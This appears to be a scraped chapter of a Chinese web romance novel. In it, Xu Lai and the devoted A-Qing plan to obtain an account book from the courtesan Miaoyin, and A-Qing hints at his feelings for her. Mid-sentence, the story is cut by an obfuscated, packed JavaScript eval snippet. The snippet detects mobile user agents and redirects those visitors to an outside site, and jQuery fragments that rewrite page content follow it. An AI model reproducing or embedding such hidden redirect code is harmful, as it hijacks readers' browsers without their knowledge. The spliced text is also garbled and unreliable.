23. 第 23 章
作品:《本来只想赚钱却被美郎君缠上》 “睡得好吗?”阿清端着刚熬好的米粥,放到桌上,轻声问道。
徐莱揉着眼睛,下意识地摇了摇头。反应过来后,又立马点头应道:“睡的很好。”
阿清忽然笑了,他有些无奈道:“你面容憔悴,哪像睡好了的样子。”
徐莱不好意思地摸了摸头,总叫人担心,显得她跟个小孩子似的。
“你怎么总是起这么早。其实可以不用做早饭的。”徐莱看着碗里熬得软烂的米粥,用勺子边慢慢搅动边说道。
阿清却只是撑着脑袋看她,时不时给她添上一点小菜,他似乎很喜欢看她吃饭,特别是吃自己做的饭。
徐莱虽然嘴上客气但身体却很诚实,这种起床就有人做好香喷喷早饭的生活,不要太享受。
她一连喝了好几碗米粥,把肚子填饱后,身体的疲倦都烟消云散了。
“幸好昨日将逐影应付过去了,他这几日应该都得忙着研究图纸的事,没时间来找我麻烦。”徐莱顺手拿起一颗黄澄澄的杏子,边吃边说道。
杏子甜滋滋的,竟然一点涩味也没有。
“这杏子真甜,阿清你怎么还到街上买杏子啊。”
徐莱有些懊恼,她这是起得多晚。昨晚上不知是在他背上睡得太香还是为何,一到榻上竟然还翻来覆去睡不着,足足熬到了天光微亮,她才迷迷糊糊地闭了眼。
想到这里,徐莱忙挑了个最圆润可爱的杏子,递到阿清脸前,“你也快尝一尝。”
阿清却没有接过她手里的杏子,反而是微微侧头,竟然就着她的手咬了一口。
徐莱自己嘴里的杏子都要咬不住了,她看着青年精致的侧脸,
举着杏子的手僵在半空中,似乎不知如何动弹。
“确实很甜,多谢。”阿清接过她手中的小果子,眨了眨眼认真说道。
徐莱看着他,面色从容淡然,没有一点脸红心跳的意思。他难道不知道这个动作挺暧昧吗,徐莱默默地收回手,低声道:“我去洗碗了。”
阿清却快她一步端起碗筷自然地说道:“你手上的伤还没好,这种事我来做便好。”
徐莱本就还没回过神来,一时有些不知所措,只好由着他去了。
她回头看着青年高俊挺拔的背影,真弯腰在井水旁洗着碗。
玉指修长白皙,墨发乖巧地用发带系起,长至腰间,似乎还能闻见发间传来的淡淡兰香。
好贤惠的一个人,徐莱边啃着手里的果子,边在心里感叹道。这种睡醒有饭吃,家务有人做,这个人还长得如此貌美养眼,这种日子竟然是她在过。
阿清用棉布细细地擦去手指上的水珠,坐回徐莱面前,熟练地给她倒好茶水才开口道:“感觉好些了吗?”
徐莱:“好很多了。我们现在可以想想要怎么从妙音手里拿到账本。”
阿清垂着眼眸,似乎是在思考什么,“妙音不在乎账本在谁手里,她只在乎陈争广的性命。”
徐莱一下就领悟了他话里的意思,忙接道:“她很聪明,清楚沈至一旦拿到账本不仅陈争广会死,她的性命也难保。所以我们得用陈争广的性命去换账本。”
阿清轻轻点了点头,笑着看她:“阿风真是我见过最聪明的人。”
徐莱立马看向他,结结巴巴道:“阿风?你怎么知道我小名叫阿风。”她越说声音越弱,前世她的小名就叫阿风。
只是她自从穿来这后,从未跟如何人提起过,也没人想着叫她小名啊。
“我记得你衣裳上绣的那个风字。”阿清淡声说道。
徐莱这才记起,就是那日那随意的一句话而已。“你为何突然叫我小名?”她只觉得今日真是奇怪极了,不对,自从昨晚事情就变得不对劲起来了。
“你叫了我这么久的阿清,我便也想叫你阿风了,可以吗?”阿清语调渐弱。
徐莱竟然从中听出了几分委屈的意思,她想了想,觉得也是这个道理。她从一开始就是以“阿清”这种亲切的名讳称呼人家,如今只是叫个小名,有什么关系。
“当然可以,你想叫我什么都可以。”她忙道,生怕阿清因此多想。
“阿风可有什么法子能接近妙音娘子?”阿清听到她同意后似乎很是高兴,语调都变得轻扬起来。
“我想不到。沈至一定严防死守,况且昨日你也看到了,我就是,就是那样,那老鸨都不让我接近妙音。”徐莱懊恼地摇了摇头,想起昨晚的事也不免有些佩服自己的脸皮,竟然连这种事都演得信手拈来。
“不如我今晚再扮成男子,扮成干活的小厮偷偷溜进去?”
阿清却摇了摇头,“太过冒险,况且普通小厮见不到妙音。”
徐莱有些泄气,他说得很有道理,妙音连公子都不见,老鸨又怎么可能让一个小厮进屋呢。
“妙音这边暂时没什么思绪,那陈争广那边呢?我们要怎么才能向妙音证明我们能保住陈争广的性命?”徐莱越想越觉得荒谬,就凭他们两个,怎么可能从沈至眼皮子底下把人带出来。
再说那陈争广的六个手指头可是都被砍下来了,整个人估计也被折磨得不轻,这简直是不可能做到的事情。
“无需将他带出来,只要让他告诉妙音,将账本交与我们便可。”阿清却依旧冷静,轻轻地吐出一句话。
徐莱有些震惊地看着他,妙音对陈争广如此重要,世间也只有陈争广能让她交出账本。
“要怎么像妙音证明?你是不是已经想到法子了,阿清?”徐莱忙看着他,急切地问道。
“我会想办法潜入沈府,拿到陈争广的信物。”
“不可以!沈至他如此谨慎,你怎么可能随意进入他府内,怎么可能见得到陈争广。此事风险太大,我们再想个别的法子。”徐莱忙摇头说道。
她还记得她第一次去沈府时的场景,整个府邸是如此巨大,且处处透露森严,一路上遇到的下人也好,家丁也好都跟长了八个心眼似的。
阿清从未去过沈府,更没有与沈至接触过,她怎么能让他冒这个险。
“阿风信我。逐影身上有块沈至亲卫才有的令牌,我会拿到他假扮成逐影的样子。御史这两人便会到云州,我只要在沈至离府的时刻,潜入暗室便好。”阿清语气却不见丝毫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483545|183932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慌张,依旧沉静如水,徐徐道来。
徐莱不可置信地看着他,眼前人心思竟如此缜密,他是何时想到要利用逐影,又是何时想到沈至会因找到账本下落而放松警惕?
“所以阿风,我需要你想办法接近妙音,再把我拿到的信物交给她,将账本换出。”阿清静静地看着她,似乎早已想好这一切。
徐莱僵硬地靠在椅背上,虽然阿清说得如此简单,但他其实将最危险的事都揽到了他自己身上,一旦败露他便可能性命不包。
徐莱一边无法说服自己,一边又想不出更好的方法。
阿清也看出了她的犹豫与挣扎,他慢慢地起身走至她面前,琥珀色的眼瞳温柔地看着她,“我完全相信阿风,阿风也要相信我好吗。
徐莱忙站起身,无措地说道:“阿清,我真的相信你,但是我不能让你陷入这样凶险的境地,你不能为我做到这种地步。这是你的性命,你懂吗?”
阿清轻轻叹了一口气,"你不一样,有些话我本不能今日就告诉你,但是我对你心存妄念,所以不论如何我都会做。"
这世间大多人都不在乎他的性命,就连他的亲父也会随时弃他如蔽履。而眼前人却说他的性命珍贵,除自己外不可为任何人舍弃。
徐莱不可置信地看着他,他这话是什么意思?她长了长嘴唇,却发不出一点声音。
“等这件事结束后,你再去想好吗?”阿清轻轻地有些小心地说。
徐莱总算是发出了一点声音:“那你答应我,不准让自己受伤,至于,至于别的什么,我等你自己告诉我。”
她说完便飞快地别过头,那起桌上的杯盏,给自己倒了满满一杯茶水,又一口气喝下。
阿清感到了一种微妙的激动,他嘴角微勾,似乎前方等他的不是什么要用性命做注的事。似乎他每次以身涉险,都能换来些意料之外的收获。
徐莱连灌了几盏茶,才让自己忘掉那番话,开始认真思考起接近妙音的法子。阿清都做到如此地步,她自然不能拖后腿。
“我想一个人静静,我先进屋了。”她有些不自然地说道,却还是刻意躲着他的眼神。
直到离开他的视线,她僵硬的身体才恢复自然。
一进屋她便趴到了软乎乎的床上,虽然身体的触感很舒服,但是脑子里却还是没有思绪。
徐莱闭着眼睛,翻了个身将脸朝上躺着,余光中却看见桌上多了一个陶罐。
她忙坐起身撩开帘子,原来是插了新鲜芍药花的陶罐,芍药花开得粉嫩,花瓣层层叠叠十分娇媚。
徐莱不用想也知道这是谁买的,只是那晚看见她屋内枯萎的芍药花,今日便给她换来新鲜的了。
她轻轻靠近那柔嫩的花瓣,鼻尖是馥郁的花香,好新鲜,花瓣上还挂着水珠呢。
这么新鲜的花不会也是从宋纤云那买的吧,她觉得自己有些犯傻了,城里这么多卖花的,她也就只认识一个宋纤云罢了,况且人家指不定这段时间都在忙大单子呢。
徐莱闭上了眼睛,脑海中忽然浮现昨晚在揽春楼里的那些个娘子们都云鬓簪花的样子。